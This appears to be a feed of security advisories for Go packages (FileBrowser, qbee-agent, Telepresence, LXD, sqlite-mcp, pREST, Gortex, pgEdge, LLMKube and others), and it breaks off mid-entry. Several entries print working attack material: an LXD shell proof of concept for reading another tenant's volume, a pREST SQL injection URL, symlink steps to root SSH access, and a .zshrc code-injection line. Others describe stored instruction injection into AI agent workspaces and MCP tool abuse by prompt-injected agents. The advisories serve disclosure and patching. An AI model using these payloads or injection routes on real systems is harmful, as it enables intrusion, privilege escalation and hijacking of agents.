CVSS score: 8.6 Severity: High Identifier: CVE-2026-116682GHSA-MGQF-5MF5-PRFJ FileBrowser: Symlink following escapes user scope allowing arbitrary file read outside the served directory Package: github.com/gtsteffaniak/filebrowser/backend fixed in 0.0.0-20260814233832-4126edeb07a0 Published Published
FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to 1.5.2-stable and 2.0.1-beta, file read handling in backend/pkg/indexing/indexingFiles.go resolves symbolic links through GetRealPath without confirming that the resolved target remains inside the source root and the user's authorized scope. Download, preview, media, OnlyOffice, and public-share read flows that enable FollowSymlinks can therefore serve an out-of-scope target through a reachable in-scope symlink. An authenticated user with download access can read server-accessible files outside the assigned scope, and a holder of a public share link can do the same without an account when the shared directory exposes such a symlink. This issue is fixed in 1.5.2-stable and 2.0.1-beta.
- Exploitation
- No known exploitation
- EPSS
- 0.61% chance of exploitation in the next 30 days, higher than 43.4% of CVEs
- CVSS
- 8.6 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Versions
- < 0.0.0-20260814233832-4126edeb07a0 · fixed in 0.0.0-20260814233832-4126edeb07a0
- Weakness
- CWE-22, CWE-59
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 27, 2026 · first seen here 4 min ago
CVSS score: 8.5 Severity: High Identifier: CVE-2026-62336GHSA-XHV5-8FPQ-G7HF qbee-agent: Local Privilege Escalation and Arbitrary File Tampering via Symlink Following in createFile helper Package: go.qbee.io/agent fixed in 0.0.0-20260615134032-0fdf8e411de5 Published Published
This is a Local Privilege Escalation (LPE) vulnerability stemming from improper symlink handling (CWE-59: Link Following) and improper ownership management (CWE-282) inside the qbee-agent file manager logic.
Impact
Any managed device running qbee-agent up to the affected versions. The impact manifests in three distinct vectors:
-
Primary Vector (Full Privilege Escalation to Root - Default Configuration): If an unprivileged user's account is managed by the SSH Keys bundle, they can replace or remove their own
~/.sshdirectory and create a symlink pointing to/root/.ssh. On the next configuration apply, qbee-agent follows the symlink and writes the user's server-provisioned public key directly into/root/.ssh/authorized_keys. Since the symlink resides inside the user's own home directory, kernel protections likefs.protected_symlinksdo not block this execution. The attacker can then instantly log in as root via SSH. -
Secondary Vector (Arbitrary File Overwrite / DoS via RAUC Staging): On devices utilizing RAUC download mode, the agent uses a predictable, world-writable staging path (
/tmp/.bundle.raucb.part). Iffs.protected_symlinksis disabled(0), an unprivileged user can symlink this path to a vital system file (e.g.,/etc/shadowor/etc/pam.d/*), causing the agent to truncate or overwrite it with server-supplied update data during a RAUC update deployment. -
Tertiary Vector (Arbitrary File Re-ownership via File Distribution): If an operator configures a file-distribution/template destination under a directory owned by an unprivileged user, the attacker can create a symlink at the partial download path targeting a sensitive system file. The agent will then inadvertently execute
file.Chown()on the targeted file, handing ownership over to the unprivileged attacker.
Patches
The vulnerability has been addressed by hardening file creation and directory traversal inside app/configuration/file_manager.go. Specifically, the agent now enforces syscall.O_NOFOLLOW and proper existence validation flags during privileged operations to prevent link resolution outside intended directories.
Users should upgrade to version 2026.27 (or newer) to fully mitigate these vectors.
Workarounds
If upgrading immediately is not feasible, administrators can apply the following mitigations:
-
Disable the SSH Keys Bundle: Temporarily turn off SSH key management within the Qbee platform for non-trusted local accounts to eliminate the primary privilege escalation vector.
-
Restrict Local Home Directory Alterations: Enforce strict file permissions or monitoring on managed user home directories to block unprivileged users from deleting or replacing ~/.ssh with a symbolic link.
-
Enable Kernel Symlink Protection: Ensure that system-level symlink protections are active to mitigate the secondary
/tmpvector by verifying that the following sysctl parameter is set to 1 (though note this does not fix the primary home directory vector):
sysctl -w fs.protected_symlinks=1
- Exploitation
- No known exploitation
- EPSS
- 0.13% chance of exploitation in the next 30 days, higher than 1.2% of CVEs
- CVSS
- 8.5 out of 10 · source GitHub
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Versions
- < 0.0.0-20260615134032-0fdf8e411de5 · fixed in 0.0.0-20260615134032-0fdf8e411de5
- Weakness
- CWE-22, CWE-367, CWE-377, CWE-59
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 17, 2026 · first seen here 5 min ago
CVSS score: 8.5 Severity: High Identifier: CVE-2026-102340GHSA-J8J4-RW65-56R6 Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets Package: github.com/telepresenceio/telepresence fixed in 2.31.0 Published Published
Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager gRPC API on port 8081 accepts unauthenticated cluster-network callers, ArriveAsClient stores a caller-supplied Namespace using only the ManagesNamespace manager watchlist check, and CreateIntercept can target any managed namespace without checking the session's Kubernetes RBAC. An attacker operating any pod with network access to the manager can register in an arbitrary managed namespace, create service intercepts, receive intercepted traffic, and obtain the victim pod's complete container environment, including secrets, tokens, and API keys. The default cluster-wide deployment manages all namespaces. This vulnerability is fixed in 2.31.0.
- Exploitation
- No known exploitation
- EPSS
- 0.38% chance of exploitation in the next 30 days, higher than 24.2% of CVEs
- CVSS
- 8.5 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Versions
- < 2.31.0 · fixed in 2.31.0
- Weakness
- CWE-306, CWE-862
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 4, 2026 · first seen here 3 min ago
CVSS score: 8.4 Severity: High Identifier: CVE-2026-12411GHSA-HHF9-QW4V-72XP lxd allows Cross-guest volume hijack via DevLXD device patch Package: github.com/canonical/lxd fixed in 0.0.0-20260626085133-7cb96ac80a6d Published Published
Summary
A guest can mount another guest's custom storage volume over /dev/lxd and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don't own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with security.devlxd.management.volumes enabled can attach a volume belonging to a different guest by naming it in a device PATCH, giving one tenant full read and write access to another tenant's volume data.
Details
Volumes created over DevLXD get volatile.devlxd.owner set to the calling identity. The storage handlers enforce it on GET/PUT/DELETE (isDevLXDVolumeOwner, lxd/devlxd_storage.go:359) and on volume-copy sources (devlxd_storage.go:286). The device-attach path does not.
devLXDInstancePatchHandler (lxd/devlxd_instances.go:88) passes the guest's device map to generateDevLXDInstanceDevices (devlxd_instances.go:178). For a device that isn't already on the instance, the only check is isDeviceAccessible(device):
if (exists && !isOwned) || (!isDeviceAccessible(device))
exists is false for a newly added device, so isDeviceAccessible is the whole gate. It resolves to newDevLXDDeviceAccessValidator (devlxd_instances.go:250), which is diskDeviceAllowed && filters.IsCustomVolumeDisk(device). IsCustomVolumeDisk (lxd/device/filters/disk.go:28) checks the device shape only: type=disk, non-empty source, non-empty pool. It never loads the (pool, source) volume or compares its owner to the caller.
The handler then sets volatile.<dev>.devlxd.owner to the caller and issues an in-process PATCH to instancePatch (lxd/instance_patch.go:55). That call skips the HTTP access handler and runs only project quota checks (limits.AllowInstanceUpdate, instance_patch.go:215) before c.Update. The disk device's validateConfig confirms the volume exists but does no ownership or RBAC check. A guest can therefore point a new disk device at any custom volume in its project and LXD mounts it. The recorded device owner becomes the attacker while the volume's volatile.devlxd.owner still names the victim.
PoC
Built from source at HEAD d29ece6284 (reports as 6.8, API extension devlxd_volume_management); single host, dir pool, default project.
Host setup, two guests with separate DevLXD identities, each scoped to edit only its own instance:
lxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true
lxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true
lxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl
for g in a b; do
lxc auth identity create devlxd/id$g
lxc auth group create g$g
lxc auth group permission add g$g project default can_view
lxc auth group permission add g$g project default can_view_storage_volumes
lxc auth group permission add g$g project default can_create_storage_volumes
lxc auth group permission add g$g instance guest$g can_view project=default
lxc auth group permission add g$g instance guest$g can_edit project=default
lxc auth identity group add devlxd/id$g g$g
done
TOKEN_A=$(lxc auth identity token issue devlxd/ida --quiet)
TOKEN_B=$(lxc auth identity token issue devlxd/idb --quiet)
With devlxd defined as lxc exec <c> -- curl --unix-socket /dev/lxd/sock -H "Authorization: Bearer <tok>" ...:
devlxd guesta $TOKEN_A POST /1.0/storage-pools/default/volumes/custom '{"name":"vola","type":"custom","config":{}}'
devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":{"type":"disk","pool":"default","source":"vola","path":"/mnt/mine"}}}'
lxc exec guesta -- sh -c 'echo TOP-SECRET-OWNED-BY-A > /mnt/mine/secret.txt'
devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":null}}'
devlxd guestb $TOKEN_B GET /1.0/storage-pools/default/volumes/custom/vola # HTTP 404
devlxd guestb $TOKEN_B PATCH /1.0/instances/guestb '{"devices":{"stolen":{"type":"disk","pool":"default","source":"vola","path":"/mnt/stolen"}}}' # HTTP 200
lxc exec guestb -- cat /mnt/stolen/secret.txt
lxc exec guestb -- sh -c 'echo PWNED-BY-B > /mnt/stolen/b_was_here.txt'
lxc storage volume get default vola volatile.devlxd.owner returns guesta's identity; lxc config device get guestb stolen source returns vola.
Impact
Broken access control across tenants. It affects operators running untrusted guests in a shared LXD project with security.devlxd.management.volumes enabled. Any such guest can read and overwrite every custom volume owned by the other guests in that project. The attacker needs only a normal DevLXD identity scoped to its own instance, and the victim does nothing. Volume names that aren't already known can be recovered by probing, since an attachable volume returns 200 and a missing one returns a not-found error.
- Exploitation
- No known exploitation
- EPSS
- 0.29% chance of exploitation in the next 30 days, higher than 14.0% of CVEs
- CVSS
- 8.4 out of 10 · source GitHub
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Versions
- >= 0.0.0-20250721152936-fe86ceb2c3fa, < 0.0.0-20260626085133-7cb96ac80a6d · fixed in 0.0.0-20260626085133-7cb96ac80a6d
- Weakness
- CWE-639, CWE-862
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 5, 2026 · first seen here 3 min ago
CVSS score: 8.2 Severity: High Identifier: CVE-2026-130008GHSA-Q433-MP6C-8V4F sqlite-mcp: Read-only mode bypass via statement chaining and SQL injection in describe_table Package: github.com/stackloklabs/sqlite-mcp fixed in 0.1.2 Published Published
Summary
In read-only mode (the default), a client that can call the MCP tools can write to the database the server is meant to expose read-only, read other SQLite files, and create new SQLite files anywhere the server process can write. There are two ways in: statement chaining through execute_query, and SQL injection through describe_table.
Details
- Statement chaining in
execute_query. The only check was that the query starts withSELECT. Themodernc.org/sqlitedriver runs every;-separated statement in one call, so anything afterSELECT 1;ran unchecked. - SQL injection in
describe_table. Thetable_nameargument was interpolated intoPRAGMA table_info(%s)with no guard. - Escaping read-only mode. Through either path,
ATTACH DATABASEopens a file read-write regardless of the main connection'smode=ro. Attaching the protected database itself made it writable. Attaching another path read that file, or created it if it did not exist.
Read-write mode is not affected beyond its intended capabilities, apart from ATTACH reaching files other than the configured database.
Impact
- Modify the database that read-only mode is meant to protect.
- Read any SQLite database file the server process can read.
- Create new SQLite-format files anywhere the server process can write, or write to existing SQLite or empty files. Existing non-empty files that are not SQLite databases are refused and left unchanged.
The server has no built-in authentication and, by default, listens on :8080 on all interfaces. Unless it is deployed behind an authenticating proxy, anyone who can reach that port can exploit this.
Patches
Fixed in v0.1.2:
ATTACHis disabled in the engine (SQLITE_LIMIT_ATTACHEDset to 0) on every connection that runs a statement.- Read-only connections set
query_only. execute_queryrejects input that contains more than one statement.describe_tablepasses the table name as a bound parameter.
Workarounds
Upgrade to v0.1.2. If you cannot upgrade, don't expose the server to untrusted clients: keep it on a loopback or private interface, or run it behind an authenticating proxy such as ToolHive. Mount only the database you intend to expose, read-only at the filesystem or container level.
Credits
Reported by @bebold6133.
- Exploitation
- No known exploitation
- EPSS
- 0.54% chance of exploitation in the next 30 days, higher than 38.9% of CVEs
- CVSS
- 8.2 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N - Versions
- < 0.1.2 · fixed in 0.1.2
- Weakness
- CWE-863, CWE-89
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 19, 2026 · first seen here 5 min ago
CVSS score: 8.2 Severity: High Identifier: CVE-2026-102339GHSA-6J3H-RP73-6RVF Telepresence: Tunnel endpoint accepts caller-supplied session ID with no ownership proof — active client sessions hijackable Package: github.com/telepresenceio/telepresence/v2 fixed in 2.31.0 Published Published
Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager Tunnel gRPC streaming endpoint parses a session ID from the first bytes of a caller-controlled message in pkg/tunnel/message.go and passes it to state.Tunnel without verifying that the caller owns the active session. An attacker who obtains a valid active session ID through log leakage, cluster-internal channels, or the unauthenticated ArriveAsClient endpoint can attach a routed tunnel to that session and gain its network routing capabilities. UUID4 session IDs make cold brute force impractical. This vulnerability is fixed in 2.31.0.
- Exploitation
- No known exploitation
- EPSS
- 0.37% chance of exploitation in the next 30 days, higher than 23.2% of CVEs
- CVSS
- 8.2 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N - Versions
- < 2.31.0 · fixed in 2.31.0
- Weakness
- CWE-639
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 4, 2026 · first seen here 3 min ago
CVSS score: 8.2 Severity: High Identifier: CVE-2026-62331GHSA-48V2-6JCM-FC99 praktor: Path traversal in Telegram file uploads allows writing outside the agent workspace uploads/ directory (stored instruction injection) Package: github.com/mtzanidakis/praktor fixed in 0.9.1 Published Published
praktor is a multi-agent Claude Code orchestrator with Telegram input and output, Docker isolation, and a Mission Control UI. Prior to 0.9.1, both Telegram upload sites in internal/telegram/bot.go concatenate the attacker-controlled document filename into a destination path without sanitization, and path.Join collapses parent-directory traversal. A remote Telegram user who can message the bot can therefore write outside uploads/ within the persistent agent workspace mounted at /workspace/agent. Because allow_from: [] permits all senders by default, no prior authentication or privilege is required in that configuration. The attacker can plant or overwrite CLAUDE.md, instruction, skill, hook, or configuration files that the Claude agent reads and operates on across later runs, turning a document upload into stored instruction injection. The demonstrated arbitrary-write scope is the persistent agent workspace volume, not an unrestricted host-filesystem write. This issue is fixed in version 0.9.1.
- Exploitation
- No known exploitation
- EPSS
- 0.91% chance of exploitation in the next 30 days, higher than 58.0% of CVEs
- CVSS
- 8.2 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N - Versions
- <= 0.9.0 · fixed in 0.9.1
- Weakness
- CWE-22
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 30, 2026 · first seen here 2 min ago
CVSS score: 8.1 Severity: High Identifier: CVE-2026-104129GHSA-V9V2-98XQ-627C pREST _groupby function-expression SQL injection (incomplete fix of CVE-2025-58450) Package: github.com/prest/prest/v2 fixed in 2.4.0 Published Published
What the fix did and the gap
The v2.3.0 fix (commit e88dabb) routed the _select field through a strict new gate, sanitizeSelectField (postgres.go:947/1003/2097). The sibling groupby path was left on the far weaker isSafeSQLExpression. adapters/postgres/postgres.go, GroupByClause (line 1946): a groupby field that contains balanced parens takes the raw-SQL-expression branch (around lines 1999-2006), gated only by isSafeSQLExpression (line 2001, defined at 2043). That gate validates only the OUTERMOST function name against a 13-entry allowlist and uses a character allowlist that permits spaces, single quotes and parens. It blocks ;, --, /* , unbalanced parens and an outer pg prefix, but NOT a trailing UNION SELECT ..., a nested (SELECT ...) subquery, or an inner pg function. sanitizeSelectField (the CVE fix) rejects exactly those.
Input and attacker
GET /{database}/{schema}/{table}?_select=id&_groupby=upper((SELECT+1))+UNION+SELECT+current_user. Sink trace: controllers/crud.go:131 calls GroupByClause unconditionally, concatenates it into sqlSelect (crud.go:133), executed at crud.go:176 with only the WHERE values parameterized. Reached after only a table read-permission check, passable unauthenticated in the default config (the same pipeline and attacker model as the anchor).
Verification level
EXECUTED with negative controls (agent-run go test ./adapters/postgres/, PASS): isSafeSQLExpression wrongly accepts four payloads and GroupByClause emits them raw (e.g. GROUP BY upper((SELECT 1)) UNION SELECT current_user, and GROUP BY abs((SELECT 1 FROM pg_sleep(3)))); negative controls with ; and -- are rejected; and sanitizeSelectField (the CVE fix) rejects the exact UNION payload the sibling gate accepts. I independently re-confirmed at HEAD that _groupby is gated by isSafeSQLExpression (postgres.go:2001) while _select uses sanitizeSelectField (postgres.go:947). NOT verified: end-to-end UNION exfiltration against a live Postgres (needs column/type alignment, Postgres-gated). The pg_sleep DoS primitive is unconditional and needs no alignment; char-by-char blind extraction is constrained (commas are pre-split, and =/</> are blocked).
Suggested fix
Route _groupby through the same strict gate as select (sanitizeSelectField-style: reject nested subqueries, UNION, inner pg functions, and anything past a single allowlisted function call), or parameterize/whitelist the group-by columns.
Also checked and SOUND
The other builders (WhereByRequest, OrderByRequest, JoinByRequest, CountByRequest, the jsonb/tsquery paths, ->>having, ident.IsValid) are sound; only the _groupby non-having function branch is the weak sibling.
Advisory-source note
Five-source enumeration: CVE-2025-58450 (GHSA-p46v-f2x8-qp98, "Systemic SQL Injection", GO-2025-3941) and the newer GHSA-qvx3-q8vx-9q3c (which covers _select, fixed v2.3.0). Neither mentions _groupby / GROUP BY. The systemic advisory's own "nested queries can be performed" note supports the incomplete-fix framing. Not contested.
Dedup
Dedup gate clean: no prest/prest blocking verdict in COVERED-INDEX, DISCLOSURE-INDEX or SCOUT-EXCLUDE.
Tooling
AI assistance wsa used while investigating. The injection is executed-verified with negative controls (isSafeSQLExpression accepts four UNION/subquery/pg_sleep payloads that GroupByClause emits raw, while ;/-- are rejected and the _select gate rejects the same UNION payload), and I confirmed at HEAD that _groupby uses the weak isSafeSQLExpression while _select was hardened with sanitizeSelectField.
- Exploitation
- No known exploitation
- EPSS
- 1.5% chance of exploitation in the next 30 days, higher than 74.6% of CVEs
- CVSS
- 8.1 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Versions
- <= 2.3.0 · fixed in 2.4.0
- Weakness
- CWE-89
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 5 min ago
CVSS score: 7.9 Severity: High Identifier: CVE-2026-130007GHSA-M932-63JC-4JQQ k8s-mcp-server: Missing authentication on default SSE/HTTP transport allows unauthenticated Kubernetes tool execution Package: github.com/reza-gholizade/k8s-mcp-server fixed in 1.1.0 Published Published
Summary
When k8s-mcp-server runs in its default SSE transport mode, the MCP tools/call
endpoint is dispatched with no authentication, session token, or Origin check.
Any client that can reach the listening port can enumerate and invoke the
server's Kubernetes tools (including destructive/write tools) without credentials,
executing with the server's configured cluster privileges.
Affected
Commit be87a6dd72bb6ec1d4886b8548843b99a4638b12 (Merge PR #130)
MCP library: github.com/mark3labs/mcp-go v0.57.0
Default mode: sse (SERVER_MODE default), default port 8080, bind 0.0.0.0
Root cause (static trace: handleSSE -> handleMessage -> tools/call)
- main.go L129:
server.NewSSEServer(s)is created with no auth option and no
contextFunc; L130sse.Start(":"+port)binds all interfaces (0.0.0.0). - mcp-go sse.go handleSSE (GET /sse): no auth header check; the server mints a
sessionId for any caller. The sessionId is a correlation value, not a credential. - handleMessage (POST /message): the only gates are method==POST and a loadable
sessionId. No Authorization/Bearer/token/Origin/CSRF check before
s.server.HandleMessage(ctx, rawMessage)dispatches to the tools/call handler. - Only
Access-Control-Allow-Origin: *is present (CORS relaxation, not auth).
Write tools (Create/Delete/RolloutRestart, Helm Install/Upgrade/Uninstall/Rollback)
are all registered unless-read-onlyis set (default readOnly=false).
Runtime reproduction (no auth headers on any request)
Started: k8s-mcp-server -mode sse -port 8080 with a dummy non-routable
KUBERNETES_SERVER=https://127.0.0.1:1 (no real cluster touched).
GET /sse -> HTTP 200; server mints /message?sessionId=93b3...
POST /message initialize -> HTTP 202; result returned over SSE
POST /message tools/list -> HTTP 202; FULL tool list returned (incl. destructive)
POST /message tools/call getAPIResources -> HTTP 202; handler EXECUTED:
error -32603 "... Get https://127.0.0.1:1/api...: dial tcp 127.0.0.1:1: connect"
The tools/call response is NOT HTTP 401/403 but an in-handler cluster-connection
error, proving the RPC passed any authorization gate and reached the
getAPIResources handler. With a valid kubeconfig, the same path returns real
cluster data. ss -ltnp confirms LISTEN *:8080 (all interfaces, externally exposed).
Impact
An unauthenticated attacker with network reach to the port can enumerate tools and
invoke Kubernetes operations with the server's privileges — cluster read and,
with default readOnly=false, state-changing operations (Create/Delete/Helm).
CWE-306 (Missing Authentication for Critical Function).
Why this is a defect, not by-design
Default mode is HTTP (sse) on 0.0.0.0:8080, containerized deployment is the normal
scenario, and there is no "trusted client only" / auth-required note in the docs.
MCP HTTP transports are expected to be loopback-only or gated; this one is neither.
Suggested fix
- Add an authorization gate before tools/call on the HTTP transports: e.g.
WithSSEContextFunc to validate an Authorization bearer/token, or fail-closed
when no token is configured in HTTP mode. - Default the bind to 127.0.0.1 and require explicit opt-in for external binding.
- Document that HTTP mode must sit behind an authenticating proxy; recommend STDIO
by default.
Reproduction was done against the actual built binary and the shipped SSE path
(not an extract).
Credit
bebold6133
- Exploitation
- No known exploitation
- EPSS
- 0.66% chance of exploitation in the next 30 days, higher than 46.7% of CVEs
- CVSS
- 7.9 out of 10 · source GitHub
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - Versions
- < 1.1.0 · fixed in 1.1.0
- Weakness
- CWE-306
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 19, 2026 · first seen here 5 min ago
CVSS score: 7.8
Severity: High
Identifier: CVE-2026-62964GHSA-W42C-H7HR-F67P
Gortex: Arbitrary file write / repo-confinement escape in write_file / edit_file / move_inline MCP tools → code execution
Package: github.com/zzet/gortex fixed in 0.55.0
Published Published
Summary
Gortex is an MCP server exposing write_file, edit_file, and move_inline tools. resolveFilePath exempts absolute paths from confinement, and the write handlers — unlike read_file / get_symbol_source — never call guardSymlinkWithinRepo. A single MCP write_file call with an absolute path writes any file the daemon user can, outside every indexed repo root (AtomicWriteFile's MkdirAll auto-creates missing parents). Writing ~/.zshrc, ~/.bashrc, .git/hooks/pre-commit, or a cron/systemd unit yields code execution on the next shell/commit. This directly violates the project's own SECURITY.md invariant "File-path resolution is confined to indexed repository roots"
Affected
internal/mcp/tools_fileops.go (+ tools_move_inline.go), HEAD 28fa017 (v0.53.0).
CWE-22 (Path Traversal) / CWE-73 (External Control of File Name/Path) → CWE-94 (code execution).
Vulnerable code
internal/mcp/tools_fileops.go:54-62 resolveFilePath exempts absolute paths from the repo-root confinement; the write sink at :793 (AtomicWriteFile, write_file) and :676 (edit_file) run with no guardSymlinkWithinRepo. The asymmetry is the bug: read_file (:940) and get_symbol_source do call guardSymlinkWithinRepo; the write path does not.
PoC (executed)
The PoC (internal/mcp/poc_arbitrary_write_test.go, package mcp) builds the server via the repo's own newSingleRepoServer(t) harness and invokes the real srv.handleWriteFile through the genuine mcplib.CallToolRequest shape:
=== RUN TestPoC_ArbitraryWrite_AbsolutePathEscapesEveryRepoRoot
indexed repo root (confinement boundary): /var/folders/.../myrepo
handler status=created path=/var/folders/.../003/pwn.txt bytes_written=50
PROOF: /var/folders/.../003/pwn.txt now exists with attacker bytes "OWNED-by-gortex-write_file-outside-every-repo-root"
RCE-PATH PROOF: wrote /var/folders/.../004/victim-home/.zshrc (parent dir auto-created) -> "echo PWNED_BY_GORTEX_RCE # injected via write_file"
VIOLATION of SECURITY.md line 17 ("It does not write to source files")
--- PASS (go test ok)
The test asserts the handler did not return IsError and that the files exist outside every repo root. (Full PoC available on request.)
Impact
write_file / edit_file are MCP tools driven by an LLM agent. A prompt-injected or adversarial agent (the standard MCP threat model) writes any file the daemon user can — startup/hook/cron files → arbitrary code execution on the host running the daemon. Confinement (the security property SECURITY.md promises) is broken on the write path.
Severity
High — CVSS v3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N ≈ 8.x. UI:R reflects that a tool call must be elicited from the agent (standard MCP injected-tool model). The RCE is a chain (write a startup/hook file → execute on next trigger), so I:H + the code-execution path. Floor: if the deployment never exposes write tools to untrusted input, impact is lower — but the tool is shipped and the confinement guard is simply absent on the write path.
Remediation
Apply guardSymlinkWithinRepo (and reject absolute paths outside the indexed roots) on write_file / edit_file / move_inline, identically to read_file / get_symbol_source. Confinement must cover the write path.
Dedup / freshness (re-verified live)
gh api repos/zzet/gortex/security-advisories → [] (none). gh search prs/issues for resolveFilePath / guardSymlinkWithinRepo / symlink / traversal / confinement → 0 (re-verified 2026-06-27; recent merges #175-#183 touch indexer/persistence, not the write path). resolveFilePath / guardSymlinkWithinRepo are gortex-own code (not vendored). Fresh at HEAD 28fa017.
- Exploitation
- No known exploitation
- EPSS
- 0.20% chance of exploitation in the next 30 days, higher than 5.6% of CVEs
- CVSS
- 7.8 out of 10 · source GitHub
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Versions
- < 0.55.0 · fixed in 0.55.0
- Weakness
- CWE-22, CWE-73
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 19, 2026 · first seen here 5 min ago
CVSS score: 7.8 Severity: High Identifier: CVE-2026-125323GHSA-VQ9P-W6WV-CR25 pgEdge Control Plane generates pg_hba.conf with trust authentication for local and loopback connections Package: github.com/pgedge/control-plane fixed in 0.11.0 Published Published
Summary
Every pg_hba.conf generated by the pgEdge Control Plane begins with a hard-coded block of trust entries covering Unix-socket and loopback connections. Any operating-system account that can reach the Postgres socket or the loopback interface on a database host can authenticate as any Postgres role, including the superuser, without presenting a credential.
Details
The generated file opens with the following six entries:
local all all trust
host all all 127.0.0.1/32 trust
host all all ::1/128 trust
local replication all trust
host replication all 127.0.0.1/32 trust
host replication all ::1/128 trust
Postgres evaluates pg_hba.conf top-down and stops at the first matching rule. Because these entries are emitted at the top of the file, they also pre-empt every rule below them — including entries supplied by an operator through the pg_hba_conf field of a database node specification, which are appended lower in the file and are therefore never reached for local or loopback connections.
Both supported orchestrators emit these entries, but exposure differs by deployment model:
- systemd — the database runs on a shared multi-user host. Any local account
on that host can connect as the Postgres superuser. This is the
higher-severity case and the one the CVSS score below reflects. - Docker Swarm — the Unix socket and the loopback interface belong to the
Postgres container, so reaching these entries requires code execution inside
that container. Publishing the Postgres port to the host does not change this:
such connections are not seen by Postgres as originating from127.0.0.1or
::1, so they do not match the entries above. The practical exposure is
correspondingly narrower.
An operator who verifies their own deployment can confirm the issue by inspecting the generated pg_hba.conf on a database node for the entries above.
Impact
An unprivileged local operating-system account on an affected database host obtains full control of every Postgres database on that host: read of all data, modification or destruction of all data, and any action available to a Postgres superuser. Under the systemd orchestrator this converts any local account into a database superuser with no additional prerequisites.
Affected versions
pgEdge Control Plane v0.1.0 through v0.10.1, inclusive.
Patches
Fixed in v0.11.0. Generated pg_hba.conf files no longer contain trust entries, and operator-supplied local authentication rules take effect. Upgrading to v0.11.0 or later is the recommended and, on v0.9.0 and later, the only complete remedy.
Workarounds
The available mitigation differs by version, and no mitigation is complete on current releases.
v0.1.0 – v0.8.1. An operator could take the authentication files out of Patroni's control entirely: copy the generated pg_hba.conf and pg_ident.conf, edit the copies, and point the hba_file and ident_file settings at them through node-level postgresql_conf. This is effective but must be repeated per instance, including for every node added afterwards.
v0.9.0 – v0.10.1. The above no longer applies. API validation rejects the hba_file and ident_file settings, and entries supplied through the pg_hba_conf specification array are appended below the hard-coded block rather than overriding it, so they do not take effect for local or loopback connections. The only partial mitigation available is to restrict the Unix socket: set unix_socket_permissions to 0700, or to 0770 with the intended accounts placed in the postgres group. This closes the socket path only. No supported configuration closes the loopback path on these versions. Operators on v0.9.0 – v0.10.1 should upgrade to v0.11.0.
- Exploitation
- No known exploitation
- EPSS
- 0.17% chance of exploitation in the next 30 days, higher than 3.2% of CVEs
- CVSS
- 7.8 out of 10 · source GitHub
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Versions
- <= 0.10.1 · fixed in 0.11.0
- Weakness
- CWE-1188, CWE-306
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 12, 2026 · first seen here 3 min ago
CVSS score: 7.7 Severity: High Identifier: CVE-2026-68903GHSA-JW3M-8Q7M-F35R LLMKube: Arbitrary Host File Read via Model.spec.source hostPath Injection Package: github.com/defilantech/llmkube fixed in 0.9.0 Published Published
Summary
LLMKube's ModelReconciler accepts arbitrary absolute paths and file:// URIs in the Model.spec.source field and propagates them to two distinct sinks without path allowlisting: (1) os.Open() inside the controller pod itself (copyLocalModel), and (2) a Kubernetes HostPathVolumeSource that mounts the attacker-supplied path into the inference pod's init container. Any namespace user with permission to create or update Model and InferenceService custom resources can read arbitrary files accessible to the controller pod (e.g., the controller's own Kubernetes service-account token) or arbitrary files on the node where the inference pod is scheduled (e.g., /etc/kubernetes/kubelet.conf). Model caching, the feature that activates the hostPath sink, is enabled by default in both the CLI and the official Helm chart. CVSS v3.1 Base Score: 7.7 (High).
Details
Entry point — Model.spec.source field
The Source field in api/v1alpha1/model_types.go:47-48 carries a kubebuilder validation pattern that explicitly permits absolute paths:
// +kubebuilder:validation:Pattern=`^(https?|file|pvc|hf)://.*|^/[^\s]+$|^[a-zA-Z0-9][\w\-\.\/]+$`
Source string `json:"source"`
The branch ^/[^\s]+$ matches any non-whitespace absolute path on the host.
Sink 1 — Controller-pod arbitrary file read (copyLocalModel)
internal/controller/source.go:93-103 classifies a source as local and extracts the path with no sanitization:
